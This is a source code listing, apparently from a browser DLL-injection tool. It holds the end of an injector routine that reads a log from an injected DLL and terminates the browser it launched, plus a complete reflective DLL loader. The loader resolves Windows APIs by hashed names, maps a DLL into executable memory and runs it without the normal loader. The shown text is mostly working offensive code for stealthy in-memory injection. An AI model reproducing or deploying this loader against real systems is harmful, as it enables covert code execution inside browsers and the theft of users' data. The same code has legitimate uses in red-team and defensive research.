line.substr(tagStartPos); 840 | break; 841 | } 842 | std::string tag = line.substr(tagStartPos, tagEndPos - tagStartPos + 1); 843 | WORD currentTagColor = originalAttributes; 844 | if (tag == "[+]") 845 | currentTagColor = FOREGROUND_GREEN | FOREGROUND_INTENSITY; 846 | else if (tag == "[-]") 847 | currentTagColor = FOREGROUND_RED | FOREGROUND_INTENSITY; 848 | else if (tag == "[*]") 849 | currentTagColor = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; 850 | else if (tag == "[!]") 851 | currentTagColor = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; 852 | SetConsoleTextAttribute(hStdOut, currentTagColor); 853 | std::cout << tag; 854 | currentPos = tagEndPos + 1; 855 | } 856 | SetConsoleTextAttribute(hStdOut, originalAttributes); 857 | std::cout << std::endl; 858 | } 859 | ifs.close(); 860 | } 861 | else 862 | { 863 | debug("Log file not found or could not be opened: " + logFilePathFull.u8string()); 864 | print_status("[!]", "Log file from DLL was not found or is empty."); 865 | } 866 | } 867 | 868 | if (browserSuccessfullyStartedByInjector) 869 | { 870 | debug("Terminating browser PID=" + std::to_string(targetPid) + " because injector started it."); 871 | HandleGuard processToKillHandle(OpenProcess(PROCESS_TERMINATE, FALSE, targetPid), "ProcessToKillHandle"); 872 | if (processToKillHandle) 873 | { 874 | if (TerminateProcess(processToKillHandle.get(), 0)) 875 | print_status("[*]", browserDisplayName + " terminated by injector."); 876 | else 877 | print_status("[-]", "Failed to terminate " + browserDisplayName + ". Error: " + std::to_string(GetLastError())); 878 | } 879 | else 880 | print_status("[-]", "Failed to open " + browserDisplayName + " for termination (it might have already exited). Error: " + std::to_string(GetLastError())); 881 | } 882 | else 883 | { 884 | debug("Browser was already running; injector will not terminate it."); 885 | } 886 | 887 | std::error_code ec_remove_cfg_end; 888 | if (!configFilePath.empty() && fs::exists(configFilePath)) 889 | { 890 | if (!fs::remove(configFilePath, ec_remove_cfg_end)) 891 | { 892 | debug("Failed to clean up session config file: " + configFilePath.u8string() + ". Error: " + ec_remove_cfg_end.message()); 893 | } 894 | else 895 | { 896 | debug("Cleaned up session config file: " + configFilePath.u8string()); 897 | } 898 | } 899 | 900 | debug("Injector finished."); 901 | return 0; 902 | } -------------------------------------------------------------------------------- /src/reflective_loader.c: -------------------------------------------------------------------------------- 1 | // reflective_loader.c 2 | // v0.10.0 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | #include 6 | #include "reflective_loader.h" 7 | 8 | #pragma intrinsic(_ReturnAddress) 9 | #pragma intrinsic(_rotr) 10 | 11 | static DWORD ror_dword_loader(DWORD d) 12 | { 13 | return _rotr(d, HASH_KEY); 14 | } 15 | 16 | static DWORD hash_string_loader(char *c) 17 | { 18 | DWORD h = 0; 19 | do 20 | { 21 | h = ror_dword_loader(h); 22 | h += *c; 23 | } while (*++c); 24 | return h; 25 | } 26 | 27 | __declspec(noinline) ULONG_PTR GetIp(VOID) 28 | { 29 | return (ULONG_PTR)_ReturnAddress(); 30 | } 31 | 32 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpLoaderParameter) 33 | { 34 | LOADLIBRARYA_FN fnLoadLibraryA = NULL; 35 | GETPROCADDRESS_FN fnGetProcAddress = NULL; 36 | VIRTUALALLOC_FN fnVirtualAlloc = NULL; 37 | NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = NULL; 38 | 39 | ULONG_PTR uiDllBase; 40 | ULONG_PTR uiPeb; 41 | ULONG_PTR uiKernel32Base = 0; 42 | ULONG_PTR uiNtdllBase = 0; 43 | 44 | PIMAGE_NT_HEADERS pNtHeaders_current; 45 | PIMAGE_DOS_HEADER pDosHeader_current; 46 | 47 | uiDllBase = GetIp(); 48 | 49 | while (TRUE) 50 | { 51 | pDosHeader_current = (PIMAGE_DOS_HEADER)uiDllBase; 52 | if (pDosHeader_current->e_magic == IMAGE_DOS_SIGNATURE) 53 | { 54 | pNtHeaders_current = (PIMAGE_NT_HEADERS)(uiDllBase + pDosHeader_current->e_lfanew); 55 | if (pNtHeaders_current->Signature == IMAGE_NT_SIGNATURE) 56 | break; 57 | } 58 | uiDllBase--; 59 | } 60 | 61 | #if defined(_M_X64) 62 | uiPeb = __readgsqword(0x60); 63 | #elif defined(_M_ARM64) 64 | uiPeb = __readx18qword(0x60); 65 | #else 66 | return 0; 67 | #endif 68 | 69 | PPEB_LDR_DATA_LDR pLdr = ((PPEB_LDR)uiPeb)->Ldr; 70 | PLIST_ENTRY pModuleList = &(pLdr->InMemoryOrderModuleList); 71 | PLIST_ENTRY pCurrentEntry = pModuleList->Flink; 72 | 73 | while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase)) 74 | { 75 | PLDR_DATA_TABLE_ENTRY_LDR pEntry = (PLDR_DATA_TABLE_ENTRY_LDR)CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_LDR, InMemoryOrderLinks); 76 | if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != NULL) 77 | { 78 | DWORD dwModuleHash = 0; 79 | USHORT usCounter = pEntry->BaseDllName.Length; 80 | BYTE *pNameByte = (BYTE *)pEntry->BaseDllName.Buffer; 81 | 82 | do 83 | { 84 | dwModuleHash = ror_dword_loader(dwModuleHash); 85 | if (*pNameByte >= 'a' && *pNameByte <= 'z') 86 | { 87 | dwModuleHash += (*pNameByte - 0x20); 88 | } 89 | else 90 | { 91 | dwModuleHash += *pNameByte; 92 | } 93 | pNameByte++; 94 | } while (--usCounter); 95 | 96 | if (dwModuleHash == KERNEL32DLL_HASH) 97 | { 98 | uiKernel32Base = (ULONG_PTR)pEntry->DllBase; 99 | } 100 | else if (dwModuleHash == NTDLLDLL_HASH) 101 | { 102 | uiNtdllBase = (ULONG_PTR)pEntry->DllBase; 103 | } 104 | } 105 | pCurrentEntry = pCurrentEntry->Flink; 106 | } 107 | 108 | if (!uiKernel32Base || !uiNtdllBase) 109 | return 0; 110 | 111 | PIMAGE_DOS_HEADER pDosKernel32 = (PIMAGE_DOS_HEADER)uiKernel32Base; 112 | PIMAGE_NT_HEADERS pNtKernel32 = (PIMAGE_NT_HEADERS)(uiKernel32Base + pDosKernel32->e_lfanew); 113 | ULONG_PTR uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 114 | PIMAGE_EXPORT_DIRECTORY pExportDirK32 = (PIMAGE_EXPORT_DIRECTORY)uiExportDirK32; 115 | 116 | ULONG_PTR uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames; 117 | ULONG_PTR uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions; 118 | ULONG_PTR uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals; 119 | 120 | for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++) 121 | { 122 | char *sName = (char *)(uiKernel32Base + ((DWORD *)uiAddressOfNamesK32)[i]); 123 | DWORD dwHashVal = hash_string_loader(sName); 124 | if (dwHashVal == LOADLIBRARYA_HASH) 125 | fnLoadLibraryA = (LOADLIBRARYA_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]); 126 | else if (dwHashVal == GETPROCADDRESS_HASH) 127 | fnGetProcAddress = (GETPROCADDRESS_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]); 128 | else if (dwHashVal == VIRTUALALLOC_HASH) 129 | fnVirtualAlloc = (VIRTUALALLOC_FN)(uiKernel32Base + ((DWORD *)uiAddressOfFunctionsK32)[((WORD *)uiAddressOfNameOrdinalsK32)[i]]); 130 | 131 | if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc) 132 | break; 133 | } 134 | 135 | if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc) 136 | return 0; 137 | 138 | PIMAGE_DOS_HEADER pDosNtdll = (PIMAGE_DOS_HEADER)uiNtdllBase; 139 | PIMAGE_NT_HEADERS pNtNtdll = (PIMAGE_NT_HEADERS)(uiNtdllBase + pDosNtdll->e_lfanew); 140 | ULONG_PTR uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 141 | PIMAGE_EXPORT_DIRECTORY pExportDirNtdll = (PIMAGE_EXPORT_DIRECTORY)uiExportDirNtdll; 142 | 143 | ULONG_PTR uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames; 144 | ULONG_PTR uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions; 145 | ULONG_PTR uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals; 146 | 147 | for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++) 148 | { 149 | char *sName = (char *)(uiNtdllBase + ((DWORD *)uiAddressOfNamesNtdll)[i]); 150 | if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH) 151 | { 152 | fnNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE_FN)(uiNtdllBase + ((DWORD *)uiAddressOfFunctionsNtdll)[((WORD *)uiAddressOfNameOrdinalsNtdll)[i]]); 153 | break; 154 | } 155 | } 156 | 157 | if (!fnNtFlushInstructionCache) 158 | return 0; 159 | 160 | PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current; 161 | ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 162 | if (!uiNewImageBase) 163 | return 0; 164 | 165 | for (DWORD i = 0; i < pOldNtHeaders->OptionalHeader.SizeOfHeaders; i++) 166 | { 167 | ((BYTE *)uiNewImageBase)[i] = ((BYTE *)uiDllBase)[i]; 168 | } 169 | 170 | PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader); 171 | for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++) 172 | { 173 | BYTE *pDest = (BYTE *)(uiNewImageBase + pSectionHeader[i].VirtualAddress); 174 | BYTE *pSrc = (BYTE *)(uiDllBase + pSectionHeader[i].PointerToRawData); 175 | for (DWORD j = 0; j < pSectionHeader[i].SizeOfRawData; j++) 176 | { 177 | pDest[j] = pSrc[j]; 178 | } 179 | } 180 | 181 | ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase; 182 | PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 183 | 184 | if (pRelocationData->Size > 0 && uiDelta != 0) 185 | { 186 | PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress); 187 | while (pRelocBlock->VirtualAddress) 188 | { 189 | DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); 190 | PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION)); 191 | for (DWORD k = 0; k < dwEntryCount; k++) 192 | { 193 | #if defined(_M_X64) || defined(_M_ARM64) 194 | if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64) 195 | { 196 | *(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta; 197 | } 198 | #else 199 | if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW) 200 | { 201 | *(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta; 202 | } 203 | #endif 204 | } 205 | pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock); 206 | } 207 | } 208 | 209 | PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 210 | if (pImportData->Size > 0) 211 | { 212 | PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress); 213 | while (pImportDesc->Name) 214 | { 215 | char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name); 216 | HINSTANCE hModule = fnLoadLibraryA(sModuleName); 217 | if (hModule) 218 | { 219 | PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk); 220 | PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk); 221 | if (!pOriginalFirstThunk) 222 | pOriginalFirstThunk = pFirstThunk; 223 | 224 | while (pOriginalFirstThunk->u1.AddressOfData) 225 | { 226 | FARPROC pfnImportedFunc; 227 | if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) 228 | { 229 | pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF)); 230 | } 231 | else 232 | { 233 | PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData); 234 | pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name); 235 | } 236 | pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc; 237 | pOriginalFirstThunk++; 238 | pFirstThunk++; 239 | } 240 | } 241 | pImportDesc++; 242 | } 243 | } 244 | 245 | DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint); 246 | fnNtFlushInstructionCache((HANDLE)-1, NULL, 0); 247 | fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter); 248 | 249 | return uiNewImageBase; 250 | } -------------------------------------------------------------------------------- /src/reflective_loader.h: -------------------------------------------------------------------------------- 1 | // reflective_loader.h 2 | // v0.10.0 (c) Alexander 'xaitax' Hagenah 3 | // Licensed under the MIT License. See LICENSE file in the project root for full license information. 4 | 5 | #ifndef REFLECTIVE_LOADER_H 6 | #define REFLECTIVE_LOADER_H 7 | 8 | #define WIN32_LEAN_AND_MEAN 9 | #include 10 | #include 11 | 12 | #if defined(_M_X64) || defined(_M_ARM64) 13 | #define ENVIRONMENT64 14 | #else 15 | #error "Unsupported architecture for Reflective Loader" 16 | #endif 17 | 18 | #define DLLEXPORT __declspec(dllexport) 19 | 20 | typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR); 21 | typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR); 22 | typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD); 23 | typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG); 24 | typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID); 25 | 26 | #define KERNEL32DLL_HASH 0x6A4ABC5B 27 | #define NTDLLDLL_HASH 0x3CFA685D 28 | 29 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 30 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 31 | #define VIRTUALALLOC_HASH 0x91AFCA54 32 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 33 | 34 | #define HASH_KEY 13 35 | 36 | typedef struct _UNICODE_STRING_LDR 37 | { 38 | USHORT Length; 39 | USHORT MaximumLength; 40 | PWSTR Buffer; 41 | } UNICODE_STRING_LDR, *PUNICODE_STRING_LDR; 42 | 43 | typedef struct _PEB_LDR_DATA_LDR 44 | { 45 | ULONG Length; 46 | BOOLEAN Initialized; 47 | HANDLE SsHandle; 48 | LIST_ENTRY InLoadOrderModuleList; 49 | LIST_ENTRY InMemoryOrderModuleList; 50 | LIST_ENTRY InInitializationOrderModuleList; 51 | PVOID EntryInProgress; 52 | BOOLEAN ShutdownInProgress; 53 | HANDLE ShutdownThreadId; 54 | } PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR; 55 | 56 | typedef struct _LDR_DATA_TABLE_ENTRY_LDR 57 | { 58 | LIST_ENTRY InLoadOrderLinks; 59 | LIST_ENTRY InMemoryOrderLinks; 60 | LIST_ENTRY InInitializationOrderLinks; 61 | PVOID DllBase; 62 | PVOID EntryPoint; 63 | ULONG SizeOfImage; 64 | UNICODE_STRING_LDR FullDllName; 65 | UNICODE_STRING_LDR BaseDllName; 66 | ULONG Flags; 67 | USHORT LoadCount; 68 | USHORT TlsIndex; 69 | union 70 | { 71 | LIST_ENTRY HashLinks; 72 | struct 73 | { 74 | PVOID SectionPointer; 75 | ULONG CheckSum; 76 | }; 77 | }; 78 | union 79 | { 80 | ULONG TimeDateStamp; 81 | PVOID LoadedImports; 82 | }; 83 | PVOID EntryPointActivationContext; 84 | PVOID PatchInformation; 85 | LIST_ENTRY ForwarderLinks; 86 | LIST_ENTRY ServiceTagLinks; 87 | LIST_ENTRY StaticLinks; 88 | } LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR; 89 | 90 | typedef struct _PEB_LDR 91 | { 92 | BOOLEAN InheritedAddressSpace; 93 | BOOLEAN ReadImageFileExecOptions; 94 | BOOLEAN BeingDebugged; 95 | union 96 | { 97 | BOOLEAN BitField; 98 | struct 99 | { 100 | BOOLEAN ImageUsesLargePages : 1; 101 | BOOLEAN IsProtectedProcess : 1; 102 | BOOLEAN IsImageDynamicallyRelocated : 1; 103 | BOOLEAN SkipPatchingUser32Forwarders : 1; 104 | BOOLEAN IsPackagedProcess : 1; 105 | BOOLEAN IsAppContainer : 1; 106 | BOOLEAN IsProtectedProcessLight : 1; 107 | BOOLEAN IsLongPathAware : 1; 108 | }; 109 | }; 110 | HANDLE Mutant; 111 | PVOID ImageBaseAddress; 112 | PPEB_LDR_DATA_LDR Ldr; 113 | PVOID ProcessParameters; 114 | PVOID SubSystemData; 115 | PVOID ProcessHeap; 116 | PVOID FastPebLock; 117 | PVOID AtlThunkSListPtr; 118 | PVOID IFEOKey; 119 | union 120 | { 121 | ULONG CrossProcessFlags; 122 | struct 123 | { 124 | ULONG ProcessInJob : 1; 125 | ULONG ProcessInitializing : 1; 126 | ULONG ProcessUsingVEH : 1; 127 | ULONG ProcessUsingVCH : 1; 128 | ULONG ProcessUsingFTH : 1; 129 | ULONG ProcessPreviouslyThrottled : 1; 130 | ULONG ProcessCurrentlyThrottled : 1; 131 | ULONG ProcessImagesHotPatched : 1; 132 | ULONG ReservedBits0 : 24; 133 | }; 134 | }; 135 | union 136 | { 137 | PVOID KernelCallbackTable; 138 | PVOID UserSharedInfoPtr; 139 | }; 140 | ULONG SystemReserved; 141 | ULONG AtlThunkSListPtr32; 142 | PVOID ApiSetMap; 143 | ULONG TlsExpansionCounter; 144 | PVOID TlsBitmap; 145 | ULONG TlsBitmapBits[2]; 146 | PVOID ReadOnlySharedMemoryBase; 147 | PVOID SharedData; 148 | PVOID *ReadOnlyStaticServerData; 149 | PVOID AnsiCodePageData; 150 | PVOID OemCodePageData; 151 | PVOID UnicodeCaseTableData; 152 | ULONG NumberOfProcessors; 153 | ULONG NtGlobalFlag; 154 | LARGE_INTEGER CriticalSectionTimeout; 155 | SIZE_T HeapSegmentReserve; 156 | SIZE_T HeapSegmentCommit; 157 | SIZE_T HeapDeCommitTotalFreeThreshold; 158 | SIZE_T HeapDeCommitFreeBlockThreshold; 159 | ULONG NumberOfHeaps; 160 | ULONG MaximumNumberOfHeaps; 161 | PVOID *ProcessHeaps; 162 | PVOID GdiSharedHandleTable; 163 | PVOID ProcessStarterHelper; 164 | ULONG GdiDCAttributeList; 165 | PVOID LoaderLock; 166 | ULONG OSMajorVersion; 167 | ULONG OSMinorVersion; 168 | USHORT OSBuildNumber; 169 | USHORT OSCSDVersion; 170 | ULONG OSPlatformId; 171 | ULONG ImageSubsystem; 172 | ULONG ImageSubsystemMajorVersion; 173 | ULONG ImageSubsystemMinorVersion; 174 | ULONG_PTR ActiveProcessAffinityMask; 175 | ULONG GdiHandleBuffer[60]; 176 | PVOID PostProcessInitRoutine; 177 | PVOID TlsExpansionBitmap; 178 | ULONG TlsExpansionBitmapBits[32]; 179 | ULONG SessionId; 180 | ULARGE_INTEGER AppCompatFlags; 181 | ULARGE_INTEGER AppCompatFlagsUser; 182 | PVOID pShimData; 183 | PVOID AppCompatInfo; 184 | UNICODE_STRING_LDR CSDVersion; 185 | PVOID ActivationContextData; 186 | PVOID ProcessAssemblyStorageMap; 187 | PVOID SystemDefaultActivationContextData; 188 | PVOID SystemAssemblyStorageMap; 189 | SIZE_T MinimumStackCommit; 190 | PVOID SparePointers[2]; 191 | PVOID PatchLoaderData; 192 | PVOID ChpeV2ProcessInfo; 193 | ULONG AppModelFeatureState; 194 | ULONG SpareUlongs[2]; 195 | USHORT ActiveConsoleId; 196 | USHORT AppCompatVersionInfo; 197 | PVOID ExtendedProcessInfo; 198 | } PEB_LDR, *PPEB_LDR; 199 | 200 | typedef struct _IMAGE_RELOC_ENTRY 201 | { 202 | WORD offset : 12; 203 | WORD type : 4; 204 | } IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY; 205 | 206 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter); 207 | 208 | #endif --------------------------------------------------------------------------------